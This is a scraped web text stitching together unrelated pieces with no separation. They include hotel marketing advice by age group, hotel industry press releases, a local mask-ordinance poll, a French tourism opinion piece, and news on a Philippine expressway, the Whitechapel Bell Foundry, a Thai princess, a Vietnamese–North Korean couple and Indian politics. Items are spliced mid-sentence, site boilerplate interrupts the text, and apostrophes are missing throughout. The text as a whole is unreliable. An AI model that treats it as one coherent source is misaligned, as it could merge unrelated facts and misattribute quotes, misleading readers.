Since word-of-mouth remains powerful, could your hotel launch a referral program to incentivize your best guests to share? [source].

For peak marketing effectiveness, refer to these preferences when matching your age cohort to the ideal marketing medium. Otherwise, you risk wasting good money on less effective mediums:

1. Millennials are more likely to see YouTube ads, bloggers and hotel social media influencers as trustworthy sources. When marketing to these demographics, consider approaches outside of e-mail, such as influencer marketing and paid social digital ads. In addition, using video and social media continues to be an effective way to reach these age groups. Also, consider ways to make group travel easier. Many prefer traveling with friends and want to know the experience will be easy and fulfilling.

2. 30s/40s: Whatever the context, this demographic wants to know that your hotel will provide the best experience for that trip type. Leverage UGC and social validation to share reviews, photos, and videos from past guests. By using your owned channels to highlight actual guest experiences, your hotel shows dedication and adaptability to a variety of trip types.

3. Over 55s: Newspapers, magazines and travel agents/experts maintain their importance for this age group. Dont neglect these outlets in a cohesive marketing strategy! In many cases, such as for luxury stays, more traditional methods act as social proof for older consumers as they navigate the path to purchase.

A great example of a hotel brand understanding its target persona and using a relevant media (magazine) to convey the message:

Step 3: Budget your marketing investments carefully

Once youve determined the right medium for your target demographic, its time to budget. This can get very tricky and often goes against assumptions. According to Age of Majority research, a surprising 85% of marketers overestimate how much consumers under 35 spend. That miscalculation leaves out a segment of the U.S. population that accounts for 40% of annual consumer spending. Older consumers, the richest segment, are also under-targeted.

Older consumers are often under-targeted by marketers. [source]

To determine proper budget allocations, make small bets to test your assumptions. Most online advertising channels for hotels like Google PPC reward advertising that converts well, as its an indicator that the message is well-suited for the audience and will yield higher click revenue. Once you have granular details on which platforms convert each demographic most affordably, you can decide how to scale up your marketing.

-Millennials

As weve seen, hotel social media works best with younger travelers. In fact, 36% of Gen Z has chosen a destination after seeing it on social media. This includes YouTube, which is the most trusted sources of advertising for 30% of Gen Z in a Generational Kinetics study. As far as booking window, younger demographics also tend to book closer into the trip, so focus spending on ripe decision-making times.

-30/40s:

Marketers must take different approaches when it comes to business travel, family travel, and couples travel. Business travelers want convenience and consistency, couples prefer romance and adventure, and families seek out activities and choices. When marketing to business travelers, loyalty marketing programs are critical. During a business stay, promote your property for a return visit with a spouse or family, and update your pre-, during-, and post-stay marketing to highlight the benefits of repeat business.

-Over 55s:

With this group focused on living their lives to the fullest, test different messages around adventure, as well as on-property amenities. For booking windows, many older travelers book far in advance, so adjust your campaigns accordingly.

About Tambourine

Tambourine uses technology and creativity to increase revenue for hotels and destinations worldwide. The firm, now in its 34th year, is located in New York City, Carlsbad, and Fort Lauderdale.

Please visit: www.Tambourine.com

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 2021 Hotel News ResourceRadisson Hotel Group announced the signing of a Master Development Agreement with SunnySeeker Hotels in the Republic of Cyprus. The new deal will see the group grow its existing portfolio in the country to six hotels and almost 1,000 rooms by 2025.

Radisson Hotel Group announced the signing of a Master Development Agreement with SunnySeeker Hotels in the Republic of Cyprus. The new deal will see the group grow its existing portfolio in the country to six hotels and almost 1,000 rooms by 2025.

SunnySeeker Hotels has been a partner for Radisson Hotel Group in Cyprus since 2015. This new agreement is a valuable opportunity for both companies to capitalize on each other's industry expertise, market position and global presence. It will see Radisson Hotel Group work hand in hand with SunnySeeker Hotels to develop and deliver new hotels on the Mediterranean island.

Elie Younes, Executive Vice President & Chief Development Officer, Radisson Hotel Group, said: "We're excited to have signed this Master Development Agreement with SunnySeeker Hotels as our trusted partners in Cyprus  and with whom we already have three hotels. We're glad to extend our collaboration in a market where we can grow our portfolio in line with an aligned expansion plan. We thank them for their trust and the successful journey so far."

Mr. Antonis Hadjinicolas, General Manager of SunnySeeker Hotels, said: "It's a pleasure to continue our longstanding and successful relationship with Radisson Hotel Group, and to be working with them to develop a range of exciting opportunities across Cyprus. We're highly committed to the success of our cooperation with Radisson Hotel Group  as demonstrated by the recently opened Radisson Blu Hotel, Larnaca in the city and the upcoming opening of the Radisson Larnaca Beach Resort. We look forward to offering Radisson Hotel Group guests a growing range of outstanding experiences as part of this partnership."

Radisson Hotel Group's existing portfolio in Cyprus consists of three Radisson Blu and Radisson properties (and approximately 500 rooms) in operation or under development. The Master Development Agreement will see this double to six hotels and almost 1,000 rooms in operation by 2025.

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 2021 Hotel News ResourceThe Branson Board of Aldermen on Thursday (now postponed to July 28) will consider an ordinance that would require face coverings in public spaces. The aldermen might approve it, disapprove it, or approve an amended version. Would you be in favor of some form of mandatory face covering ordinance in the city of Branson?

You voted:JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.



You should upgrade or use an You are using an out of date browser. It may not display this or other websites correctly.You should upgrade or use an alternative browserOpinion Article

13 February 2019

Fostering, supervising, regulating, preserving the common heritage... these are the main missions of governments and agencies that must take them to heart. Create, develop, design, innovate, know your market, benchmark... these are the missions of the sector's professionals whom governments must trust in order to know how to act in order to preserve their market share. One might be tempted to step on others' turf. "However, it is by assuming each of our well-defined roles and by pushing the expertise, know-how and knowledge ever further that we will build a solid and sustainable tourism strategy." Through debate, by challenging each other, we will continue to make progress.

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Public institutions tend to create public/private agencies to do a kind of lobbying that is not representative of the profession, using the full influence of the government sphere to offer companies services that may also be available from private companies. These bodies also serve to place people in official positions in exchange for their services without considering their real capacities. This unfair competition distorts the rules of the sector by trying to create an ecosystem that is not healthy. What a strange way for public authorities to act, in the midst of the yellow vest crisis, to encroach on a market of free competition when institutions are in no way bound by an obligation to be profitable. How can we imagine the pursuit of a healthy economy in this perspective? We must not forget that the vast majority of entrepreneurs in France, as well as in our sector, are SMEs and very small businesses. The list of markets that the authorities are trying to appropriate is long and what is currently being put in place is probably only the tip of the iceberg.

While this iceberg remains in territorial waters we should remember that the tourism challenges for French and European players go beyond their boundaries. It doesn't seem does not seem normal that there is such a reluctance on the part of public investors in France and Europe to support entrepreneurs abroad; to help them gain market share in other countries. "All the Qatari, Chinese and other investment funds are on the offensive on all markets, ready to seize the best opportunities, while we are always on the defensive." Aside from a few powerful groups, we are not helping businesses develop exportation despite being in a global economy.

In our businesses, supply creates demand and fortifies what exists. We should thus capitalize on all these nurseries to cultivate futur treasures and export them very early in order to familiarize international clientele with our brands and concepts and strengthen our businesses so they may rival one another worldwide.

"As a destination, France has major assets, it has a flourishing natural and patrimonial diversity, strong brands where our industry's leaders have invested colossal sums through their groups." AccorHotels, Club Med, LVMH, Kering, Pierre&Vacances are just a few It may also include territorial labels with high levels of awareness: Champagne, Bordeaux, Bourgogne, Paris to attract tourist from all over. The government holds all the cards to promote these treasures that are loaded with history and renown and thus attract increasing volumes of visitors, rather than dispersing to do jobs whose legitimacy belongs to private sector companies and where government expertise is limited.

France is also part of the European Union; one might wonder upon observing what happened to the dream of the CECA? 6 European governments came together nearly 70 years ago to combine forces. Over time, others came on board, believing in what the European Union could offer them. But where are we now? Now that France and neighboring Italy can't get along and the European commission refuses the creation of a railroad giant, one wonders what route Europe is trying to follow. Moreover even if we add up all 27 countries in the EU, Europe far from being the leading tourist destination worldwide. The absence of a shared strategy prevents the sector from rivaling with the major companies on the web. The GAFA are also increasingly interested in tourism products and now have the means to extend their hold on this industry by conquering massive market shares, if nothing happens first. We hope that this European vessel is able to resume its course... this will also depend on our politicians who will need to be capable of taking on these challenges.Press Release

13 February 2019

Six Senses Hotels Resorts Spas is bursting with news: it has become part of the IHG family of brands. (IHG) (InterContinental Hotels Group) is one of the world's leading global hotel companies with a growing number of luxury brands including InterContinental Hotels & Resorts, Regent Hotels & Resorts and Kimpton Hotels & Restaurants.



IHG purchased the award-winning hospitality and wellness company from private equity fund Pegasus Capital Advisors for USD 300 million. The sale includes the management of 16 hotels and resorts, 37 spas and sister companies Evason and Raison d'Etre. Following the acquisition Six Senses is now expected to grow to 60 hotels within the next 10 years.



"This is an exciting new era for Six Senses," said Chief Executive Officer Neil Jacobs. "IHG believes in our purpose to merge the two platforms of wellness and sustainability to promote personal health, and the health of the planet. Joining forces with IHG means we can use a wealth of systems and operational excellence to grow our brand and reach new markets without losing our quirky personality and playful touch. It's been a great pleasure to work with Pegasus over the last six years and we would never have reached this milestone without their vision and deep involvement."



Over the next 12 months, Six Senses will open properties in surprising locations. From the private island of Krabey in Cambodia, a circuit of five lodges in Bhutan, to a 14th-century-old restored fort in Rajasthan. The dream list also includes a desert hideaway in Israel's Negev Desert, the transformation of a series of 19th-century mansions in Istanbul and the group's first project in North America, a contemporary duo of twisting towers designed by Bjarke Ingles located in Manhattan's West Chelsea neighborhood and along the High Line. Additional projects are currently under way in Austria, Brazil, Mainland China, Spain, Switzerland, Taiwan and Thailand.



Although Six Senses took its first (barefoot) steps on remote beaches and tropical hideaways, the people behind the brand have shown that purposeful travel and emotional hospitality is not formulaic. It can be successfully replicated across a diverse property portfolio, which includes a 19th century quinta (wine estate) in the UNESCO heritage-listed Douro Valley in Portugal and two sister hotels in Singapore's Chinatown. The model can be adapted and still retain all the sustainable commitments for which Six Senses has become the industry inspiration.



IHG's Chief Executive Keith Barr said, "IHG's growing portfolio of luxury brands is a collection of the very best in the travel industry. Each one offers something unique to our guests, and together they offer an unparalleled choice of locations and experiences. We're incredibly proud to welcome Six Senses in to our family of brands and look forward to opening more stunning hotels, resorts and spas - each one staying true to Six Senses' world-renowned reputation for wellness and an unwavering commitment to purposeful travel."



The beating heart of every Six Senses property is a Six Senses Spa, working in harmony with each hotel and resort to create a depth of personalized wellness support. Each spa offers a menu of Six Senses signature treatments and therapies plus locally-inspired specialties, yogic programs and a range of feel-good pamperings. Skilled therapists are drawn from all over and Six Senses' Visiting Practitioners bring an extra depth of knowledge to each spa guest.



Unique to the hospitality sector, Six Senses has taken wellness out of the spa and integrated it into the entire stay for guests: from the food they eat to the way they sleep. Sleep With Six Senses, Eat With Six Senses and the latest Grow With Six Senses childrens' initiative have all been highly successful in helping people (young and young at heart) to learn something new and reconnect with themselves, others and the world around them.Supplier News

13 February 2019

Hotels aren't bidding enough on metasearch sites or monitoring the space effectively, affecting their bottom lines and brand loyalty, says EyeforTravel and Fornova's new The State of Hospitality Distribution: Metasearch white paper, which is free to download now.

Data from the white paper drawn from nearly 10 million searches on meta engines in 2018 reveals that just 34% of bids monitored featured a direct link posted by a hotel.

Across March, April, and May 2018, less than a third of the shops made by data partner Fornova on meta sites had a direct hotel option being displayed. This rate reached a low of 18% in March 2018 and rose to a high of 28% of shops made in May. Ranking for hotels was also low on the sites monitored, with hotels' bids coming in at the sixth-ranked option on average in May 2018.

This is allowing OTAs to dominate the space, one which is increasingly crucial for attracting consumers. More than 90% of consumers report using meta sites for price comparison when booking accommodation but the vast majority of bids and outbound traffic from these hugely popular sites, including Google, TripAdvisor, and trivago are benefitting Online Travel Agencies (OTAs) finds the white paper.

Furthermore, hotels are being undercut by both their contracted OTA partners and by third parties working without agreements. The research finds that contracted OTAs are undercutting by an average of 5-6% on meta sites and by an even higher 10-11% by non-contracted OTAs. This means the consumer, who is largely driven by value, is frequently seeing better rates than hotels direct bids, meaning wasted spend and lost data and brand loyalty. When the consumer is searching 14 days or less out from their stay, the research found that they would see a lower bid the majority of the time from multiple actors.

This is a battle for hotels as the average hotel usually falls short of the labour and technological resources to do so. Furthermore, as Fornova CEO Dori Stein points out, there's no way for a hotel's revenue or e-commerce manager to know what meta engines are showing their guests in different countries because of the varying IP addresses. "Unless the hotel has a way to monitor its top inbound source markets, it's a losing battle," he added.

Chatchai Pongprapat, assistant vice president, revenue management at Dusit International appreciates the issue, "There is crossover between all of the different players on various channels and that makes it very hard to maintain rate integrity," he said. The company's solution has been to partner with Fornova, which polices the rates and helps Pongprapat to maintain rate integrity and partner behaviour.

More effective monitoring and activity on metasearch sites can have a very real effect on the bottom line: "We felt we weren't featured very visibly as their models evolved and so we hired a third party that could constantly monitor our meta campaigns and make them effective programs," said Preferred Hotels & Resorts, Global Vice President, Revenue Optimization, Rhett Hirko. Meta-driven bookings jumped 30% after Preferred began working with a third-party partner to manage meta campaigns. They determine the best ROI from each individual meta site based on the budget Preferred dedicates to the channel, as well as meta sites' performance for Preferred based on click-through volumes. Hirko noted that in terms of how cost effective the move was, "it took a while to tweak the program, but we're definitely getting good returns for our investment."

For more on how metasearch is shaping the digital accommodation market, download the free white paper now.

This white paper, made in conjunction with Fornova, gives real-world data on hotel, wholesaler and OTA bidding strategies, alongside consumer behaviours, and meta success metrics. Use these to understand the channel, the competitive landscape and build a winning strategy!

Learn the following from this white paper:

The state of the metasearch market.

Market penetration rates among consumers and hotels.

Consumer behaviours on metasearch.

OTA bidding strategies.

Techniques to succeed on metasearch.

The outlook for meta.

Click here to download the white paper for free now.Event

The Annual General Meeting for HOSPA will be held on Thursday 14th February at 4:30pm, at the BDO Offices, 55 Baker Street, London, W1U 7EU in Room MR18, for the purposes of transacting the following business and the proposal of the resolutions below:

Welcome by the Chairman

Report by the Chief Executive

Receive the accounts from the Treasurer

More information is available HERE

If you would like to attend, then please email: [email protected] before Thursday 31st January 2019.



Fellow and Associate Members are entitled to vote, please find the voting papers HERE

HOSPA Annual General Meeting (AGM 2019) is organized byEvent

Like emerging hospitality markets over the world, Mexico and Central America offer complex but rewarding opportunities for hotel and resort development. HVS is pleased to announce the nineth annual Mexico Hotel and Tourism Investment Conference, or MexHIC 2019, a forum for interaction between market participants focused on defining market drivers, and visualizing a path for sound industry growth.



Powered by HVS, the world's leading hotel and hospitality consultancy, MexHIC 2019 gives stakeholders a chance to hear from industry leaders and representatives of major hotel brands; network with developers, investors, lenders, and government officials; and engage the many challenges and opportunities of the Mexican and Central American lodging landscape.



MexHIC 2019 follows in HVS' tradition of organizing leading hotel conferences around the world, including the NYU Hospitality Conference in New York, and annual conferences in China, India, Indonesia, Sri Lanka, and the Caribbean. Join us February 20, 2019 in Mexico City to cultivate strategies for your hotel and resort program.

MexHIC 2019 is organized byAppointment

13 February 2019

Hilton (NYSE: HLT) today announced the appointment of Heather Laverne as vice president - customer engagement, loyalty and partnerships for Europe, Middle East and Africa (EMEA).

Based in Watford, UK, at Hilton's European Head Office, Canadian-born Laverne will lead a team focused on creating and growing direct relationships with customers through delivering exceptional branded experiences.

Laverne joins Hilton from American Express where she served in leadership roles for more than 13 years. Most recently, she served as Vice President, International Premium Products where she owned the product strategy for American Express' iconic portfolio of charge products including Centurion, Platinum, Gold and Green cards, across 90 countries.

Laverne completed her undergraduate studies in marketing from the University of Guelph and earned her MBA from Queen's School of Business.Just scan and upload a photo of your completed "news story" and you'll be entered for a chance to have your story published.Click here to find out where to get a COVID-19 vaccine or test.

To find out how many local residents have been vaccinated for COVID-19, click here. Use the map to find numbers for individual counties.

Find detailed statistics about COVID-19 tests, cases and deaths by county and for the state as a whole on the Indiana State Department of Health's online dashboard.Lima, OH (45805)

Today

A mix of clouds and sun. High 86F. Winds S at 10 to 20 mph..

Tonight

Mainly cloudy. Low 70F. Winds S at 10 to 15 mph.Anchor/Multimedia Journalist

Hello! I am the weekend anchor as well as a reporter for Your News Now! You can reach me with news tips (or just to say hello!) at khonigford@wlio.com.Metro Manila (CNN Philippines, February 11)  Conglomerate San Miguel Corporation, through its subsidiary Private Infra Development Corp. (PDIC), has committed to expedite the payment for the unpaid portion of the properties acquired by the government for the construction of the Tarlac-Pangasinan-La Union Expressway (TPLEX).

This is amid complaints by landowners about the delay of the full payment for their properties, which were acquired from 2015 to 2017. Hundreds of landowners on Friday, February 8, blocked the Pozzorubio exit of the road to protest the payment delay.

In a statement, SMC said it is coordinating with the Department of Public Works and Highways to address the issue.

"We will advance the payment for the government. We understand the plight of the landowners, and also recognize the position of the government. But we would like to assure them that we are ready to resolve this issue and expedite payment," SMC President and Chief Operating Officer Ramon Ang was quoted as saying in the statement.

PIDC had previously advanced the partial payment for the properties, including full payment for any structures, trees, and crops in the area, to start the construction of the 89-kilometer four-lane expressway.

The government, for its part, had explained that the delay was largely due to incomplete documents submitted by the claimants of the properties.Copyright  2019 at Sun Newspapers. Digital dissemination of this content without prior written consent is a violation of federal law and may be subject to legal action.Support local journalism

Now, more than ever, the world needs trustworthy reportingbut good journalism isnt free. Please support us by making a contribution.

ContributeT he future of the Whitechapel Bell Foundry is turning into a bitter row pitting a US developer against leading lights in British arts, as the first images emerge of plans to convert the rare piece of Londons industrial past into a boutique hotel.

The foundry, established in the 1570s, moved to Whitechapel High Street in the 1740s and produced world-famous bells including the Liberty Bell for Philadelphia, bells for Westminster Abbey, Big Ben, and for St Mary-le-Bow church, where anyone born within earshot of the bells is considered a true Cockney.

The foundry closed in 2017 and the Grade II*-listed building was sold to American entrepreneur Bippy Siegal for 7.9 million. He has just lodged a planning application for a 95-room hotel, restaurant and bar, horrifying sculptor Sir Antony Gormley, V&A director Tristram Hunt, composer Michael Nyman and cultural historian Sir Charles Saumarez Smith. Along with several leading conservation groups, they back a rival plan to keep the site in use as a working foundry.

This alternative future is proposed by the UK Historic Building Preservation Trust and Factum Arte, which creates sculptures using 3D printing. Tower Hamlets planners are studying Siegals plans and a decision is expected this summer.

Disharmony: art luminaries are fighting a bid to turn the former Whitechapel Bell Foundry into a boutique hotel / Alamy Stock Photo

In an attempt to appease objectors, Siegals plans include restoring the foundry and using it as a public cafe with a small working foundry, interpretation spaces, artists workshops and workspace for creative businesses.

We all feel a strong responsibility to deliver a plan that sustains these amazing buildings and that continues the atmosphere of craft and creation that held in the foundry for so many years, said Mr Siegal.

A report by project architects 31/44 said the plan was for the foundry to remain productive and industrious, and added: Bells will still be cast on site but now so too will artworks. This, alongside the artists and creative businesses that will be working in the building, will create a level of activity and public access that has not existed on the site before. The new hotel would sit behind the foundry.

The row over the future of the foundry comes after a period of intense change for Whitechapel, where arts-led regeneration during the Nineties kick-started rapid gentrification which was subsequently accelerated by Whitechapels inclusion on the Crossrail line.

Property prices across E1 have increased 61 per cent since 2012 to an average 519,000 according to Rightmove.

A spokesman for the developer said its proposals would transform the defunct foundry into one of east Londons foremost cultural landmarks, with the support of Historic England.

A significant part of the historic foundry will be transformed into a publicly accessible space, allowing visitors and the local community to experience the atmosphere and energy of the spectacular foundry spaces, which will retain their unique character, through the reintroduction of many original artefacts, he said.Thailands Princess Ubolratana Rajakanya said in an Instagram post late Tuesday that shes sorry her sincere intention to work for the nation caused problems.

The post follows a political partys failed bid to make the princess its prime ministerial candidate, after her brother King Maha Vajiralongkorn said it was inappropriate for her to seek office.

I feel sorry that my sincere intention to work for the country and Thai people created problems that shouldnt take place in this era, she said in the post, adding the hash tag #howcomeitsthewayitis.

The future of the party that nominated her, Thai Raksa Chart, is now in doubt amid calls for it to be disbanded. Thailand officially treats top royals as semi-divine and apolitical.

Thai Raksa Chart is linked to exiled former prime minster Thaksin Shinawatra. He or his allies have won every election since 2001, only to be unseated by the courts or the military.A young couple with matching expressions stare nervously into the camera with deep brown eyes. He, a Vietnamese student, has just met the love of his life. She, a North Korean, is forbidden to love him back.

It was 31 years after Pham Ngoc Canh, 69, took that first photo of Ri Yong Hui, before the two were finally allowed to get married in 2002 when North Korea took the rare step of allowing one of its citizens to marry a foreigner.

From the moment I saw him, I was so sad because I felt it would be a love that could never be realised, said Ri, 70, speaking from the small Soviet-era apartment she and Canh share in the Vietnamese capital, Hanoi.

Now enjoying freedoms in Vietnam that would be impossible in North Korea, Canh and Ri are hoping the upcoming summit between US President Donald Trump and North Korean leader Kim Jong Un in Hanoi will help end hostilities with Pyongyang.

If youre a North Korean, you want to see this resolved. But politics is complicated, Ri said. When people first heard Kim Jong Un decided to meet Trump, they expected reunification to happen soon. But thats hard to realise in just one or two days. I hope things work out well.

Former Vietnamese chemical student Pham Ngoc Canh who studied in North Korea and his North Korean wife Ri Yong Hui looks at their wedding photos, at their house in Hanoi, Vietnam on February 12. (REUTERS)

Today one of Asias fastest growing economies and integrated into the international community, Vietnam has been touted as a model for isolated and impoverished North Korea to follow.

Back in 1967, as Vietnam and the United States were locked in war, Canh was one of 200 Vietnamese students sent to North Korea to gain the skills the state needed to rebuild itself once the war was over.

Several years later, during a chemical engineering apprenticeship at a fertiliser factory on North Koreas east coast, Canh spotted Ri working in a laboratory.

I thought to myself, I must marry that girl, said Canh, who eventually plucked up the courage to approach Ri and ask her for her address.

Ri obliged: Her friends had told her one of the Viet Cong working at the factory looked just like her, and she was curious.

As soon as I saw him, I knew it was him, said Ri. He looked so gorgeous.

Until then, when I had seen so-called handsome guys I hadnt felt anything, but when he opened the door, my heart just melted.

But there were challenges. Until this day in North Korea, and in Vietnam at the time, relationships with foreigners are strictly forbidden.

Former Vietnamese chemical student Pham Ngoc Canh who studied in North Korea and his North Korean wife Ri Yong Hui hold their first photo together which was taken in Spring 1971. (REUTERS)

Guerrilla action

After the couple exchanged several letters, Ri agreed to let Canh visit her at home.

He had to be careful. A Vietnamese comrade had been beaten when he had been found with a local girl.

Dressed in North Korean clothes, Canh embarked on the three-hour bus journey and two km walk to Ris home - a trip he repeated monthly until he returned to Vietnam in 1973.

I went to her house secretly, just like a guerrilla, said Canh.

Upon his return to Hanoi, Canh felt disillusioned. The son of a high-ranking cadre, Canh refused to join the Communist Party, forgoing the bright future the state had planned for him.

I just couldnt agree with a socialism that stops people from loving each other, Canh said.

Five years later, in 1978, the Vietnamese chemical engineering institute Canh was attached to organised a trip to North Korea.

He asked to join, and managed to meet Ri. But every time they saw each other, Ri said, she became more heartbroken at the thought that they might never meet again.

He had brought with him a letter he had written to the North Korean leadership, begging for permission for them to marry.

When she saw the letter, she asked: Comrade, do you intend to persuade my government?, said Canh, who never sent the letter and instead asked Ri to wait for him.

The wedding

Later that year, Vietnam invaded Cambodia, triggering a border war with China. With North Korea on the side of Beijing and Phnom Penh, the couple stopped writing.

My mother was crying while caring for me, said Ri. I think she knew that I was lovesick.

In 1992, Canh again managed to get himself on a trip to North Korea as a translator with a Vietnamese sporting delegation, but couldnt meet Ri. When he returned to Hanoi, Canh found Ri had sent him a letter.

She still loved him.

In the late 1990s, North Korea was gripped by a devastating famine and a desperate delegation from Pyongyang visited Hanoi to ask for rice. Vietnam, which by then had undertaken major economic and political reforms and re-engaged with the West, refused.

Canh was so concerned for Ri and her people that he raised seven tonnes of rice in donations from friends to send to North Korea.

It was an act of generosity which finally paved the way for he and Ri to reunite: The North Koreans learned of Canhs act and agreed he could marry Ri and live in either country - provided Ri maintained her North Korean citizenship.

In 2002, the two finally married in the Vietnamese embassy in Pyongyang, and settled into their new life together in Hanoi, where they still live today.

In the end, love beat socialism, said Canh.A posse of private bodyguards, hired by RJD MLA Tej Pratap Yadav, were on Wednesday found roaming inside the Bihar assembly premises where the budget session is underway, prompting the state police chief to order an inquiry into the security breach.

The mercurial elder son of RJD supremo Lalu Prasad, however, defended himself saying who would provide security to me if I do not take care of my own safety? The muscle-bound safari-clad private bodyguards were spotted by lens men of news channels and when asked what they were doing inside the campus, well inside the area to which entry is prohibited without valid passes, they replied with a terse no comments.

Security personnel posted inside the assembly claimed there is no security breach. These people had not strayed into the restricted zone.

However, minutes later Director General of Police Gupteshwar Pandey rushed to the assembly premises where he told reporters I have asked Patna SSP Garima Mallik to conduct a thorough inquiry into any lapse that may have taken place. Anybody found guilty of dereliction of duty will be punished.

While exiting the assembly around lunch time, Yadav told reporters I need to have adequate security for myself. And if I do not make arrangements for the same myself, who will. Would Chief Minister Nitish Kumar provide me with adequate security?

Incidentally, Yadav had in December 2017 lashed out at the NDA government at the Centre for the scaling down of the security cover of his father currently serving sentences in fodder scam cases with an undignified remark about the Prime Minister Narendra Modi.Weavers from Bihar are all set to get a taste of e-commerce as they will now be able to showcase their products on Amazon India portal.

The e-commerce giant will sign a memorandum of understanding (MOU) with the Bihar State Khadi and Village Industries Board on Wednesday. This would be the first of its kind arrangement in Bihar.

The MOU will facilitate around 80 weaver societies registered with the Bihar Khadi Board.

We are looking at khadi shirts, kurtas, dhotis, trousers, towels, etc. from Bihar to be hosted on Amazons Kala Haat section of the handloom and handicraft store, said a spokesperson of the company.

The arrangement would allow weavers to aggressively price their products and upload it on the Amazon portal through the Bihar khadi board.

A year ago, Amazon had entered into a similar arrangement with the Uttar Pradesh Khadi and Village Industries Board. As part of the MOU with UP, Amazon India was to educate, train and enable rural khadi artisans. Besides khadi apparel, the e-commerce giant also included gourmet food.

In Bihar, however, the firm would not impart training or conduct workshops for weavers initially. It will only provide them marketing support and allow weavers to widen their consumer base.

The arrangement would also empower and generate livelihood opportunities and income for the rural artisans and boost the economy of the khadi and village industry, the spokesperson said.

Chief executive officer of the Bihar Khadi Board BN Prasad was not available for comment.The case of Nitin Gadkari gets curiouser and curiouser. Every time I have called him after one controversial statement or the other he has told me in no uncertain terms that he thinks the media is sold out, has lost all its credibility and they always twist his words out of context.

But call me after 15 days, he says reassuringly. Let this controversy die down first. Yet within 15 days there is a new statement and a new controversy and his ire against the media comes to the fore all over again. Perhaps he has a point - his admiring statement on Indira Gandhi, by most accounts, was not just about Indias only woman prime minister. He had been speaking about women who came up in politics without reservations and had included BJP leaders Sumitra Mahajan and Sushma Swaraj among them. But his mention of Mrs Gandhi was isolated, though not blown out of context per se.

Now his latest statement seems not just the most curious given that it appears specifically aimed at one person -Prime Minister Narendra Modi - but has also brought forth a good deal of concern and speculation about where Gadkari is really headed and with whose blessings.

NCP president Sharad Pawar, who makes no public declarations of friendships, last week avowed Gadkari was a good friend and that he was deeply worried about him. I have heard he might be bidding for the prime ministers office and I am concerned about him, said Pawar enigmatically without elaborating where he heard what he did and why it was causing him concern.

However, telling a party worker he must look after his family first because one who cannot take care of family cannot take care of the country, cannot be a random casual remark aimed at nobody in particular. It has been rightly interpreted by not just the media but also fellow politicians as deliberate finger-pointing and needling of one man who is also now under attack by opposition leaders on the same count. The question then arises if the below-the-belt remarks by both Gadkari and opposition leaders are spontaneous or orchestrated.

There is a group within the BJP and RSS which believes that Gadkari could not be getting so obliquely personal with his party leadership without being confident of the support of the top brass in the RSS. Yet, like Dilip Deodhar, an RSS ideologue, told me recently, the RSS always practices the politics of paradox and we in the media fail to understand that the dual policies are not contradictory but aimed at and working towards the same goal.

So while he thinks Gadkaris caste (Brahmin) is all wrong to bid for the office of the prime minister and that Modi, as an OBC, is still needed by the RSS to weave the larger Hindu community together at the coming election, I wonder if the RSS, following that policy of paradox, is covering both its flanks by fuelling Nitin Gadkaris ambition on the one hand and continuing to buttress Modi and Amit Shah on the other.

For it is one thing for the opposition to target the BJP leadership in personal terms and quite another for a party man to do the same. Already, Gadkari may have burnt his bridges with his own party leadership, given the praise that has been showered upon him by Sonia Gandhi for being a doer (in fact the only doer) in the government (was she returning the compliment he had paid her mother-in-law a few weeks ago, I wonder) and now Pawars unusual and unabashed avowal of friendship with the Union minister.

Amid reports that funds to his ministry have been cut (to stop him from doing better?) and Pawars concern for his well-being, speculation is now rife whether Pawar, who is well-clued in to all political parties, was warning Gadkari about his personal security and knows something the rest of us dont. His party leadership can certainly not deny Gadkari a ticket to the coming elections despite all the pot-shots he has taken at them, nor engineer his defeat - for losing even one seat to the Congress  which is the only rival to the BJP in Nagpur  will be completely unacceptable to the party top duo.

Perhaps, it is with that confidence that Gadkari continues with his political indiscretions. However, a few tips from his good friend Sharad Pawar who has mastered the art of political survival as a forever-rebel might be quite in order.A day after holding a roadshow, Congress general secretary (east UP) Priyanka Gandhi Vadra and her west UP counterpart Jyotiraditya Scindia began holding separate closed-door meetings with party workers in Lucknow.

During the meetings, the two leaders often tested the cadres knowledge about the party organisation and the political situation in their respective Lok Sabha constituencies. The meetings stretched till early on Wednesday morning.

Some of the questions that Priyanka put to party leaders, who appeared unprepared, included: What is your booth number? How many villages do you have in your constituency? Have you been a Congress candidate in the past? Who won the seat? How many votes did other candidates get and how many votes did you get? Priyanka will meet party workers from 41 Lok Sabha seats and Scindia will interact with the cadre from 39 seats. The duo will continue their interaction till Thursday.

Read | Priyanka, Scindia will make Congress strong in UP again, says Rahul Gandhi

Scindia also enquired about the partys position in the constituencies and the winnability of aspiring candidates etc. As the meetings with select groups of party workers progressed, a number of others assembled outside the UPCC headquarters urged the party leaders to allow their entry inside. They raised their voice and claimed they were not being allowed to meet the two leaders. The situation arose as Seva Dal volunteers allowed entry only to party workers, whose names figured on the list sent by their respective party units. As a result, many others had arguments and indulged in slogan-shouting to force their entry.Some party workers raised slogans at the entrance to demand that they be allowed to meet the top leaders.

I am the city Congress unit president of Fatehpur. Our names do not figure on the list, said a party leader, who was seen arguing with the Seva Dal volunteers there. Pradeep Singh, a young party leader, was also seen arguing with the Seva Dal volunteers. Amid the slogan-shouting, UPCC president Raj Babbar sought to pacify them and told them to wait for their turn. He assured them they too would be allowed to meet the party leaders.

I will get more chairs for you. Please wait there, said Babbar while pointing towards the open ground. Mahadin Rawat, a block president from Lucknow, was overwhelmed to meet Priyanka and was seen in tears.

I have not been able to meet any UPCC president up to now. This is the first time that a national level leader has called us to a meeting, he said at the meeting. I told her only the truth, said Mahadin on phone later.

As a number of leaders complained about the present office bearers in districts and cities, Priyanka asked them to forget their differences and work unitedly for Lok Sabha polls.

This is not the time to raise such issues. Take me as your younger or elder sister. I will give you a candidate. Will you ensure the victory of party candidate? Priyanka asked and all the partymen promised to work hard for the party. Scindia too asked about the issues in the respective Lok Sabha constituencies.

After meeting Scindia, Saharanpur District Congress Committee (DCC) president Shashi Walia said, Scindiaji has appointed a senior party leader from Madhya Pradesh Rajendra Singh as the incharge for our seat. We have convened a meeting of the party organisation on Wednesday to begin our work.

UP Congress secretary Afzal Quereshi said, We briefed him about local issues in Bijnor and he appointed a senior party leader Damodarji Roy as the incharge of Bijnor seat.

Read | Congress, BJP battle it out in Uttar PradeshThe Telugu Desam Party (TDP), the Congress, the Trinamool Congress and at least four to five more parties will likely reach a broad understanding at the national level in the 2019 Lok Sabha elections to take on the Bharatiya Janata Party (BJP) under Narendra Modi, but may fight each other in their respective states, Andhra Pradesh chief minister N Chandrababu Naidu said on Tuesday.

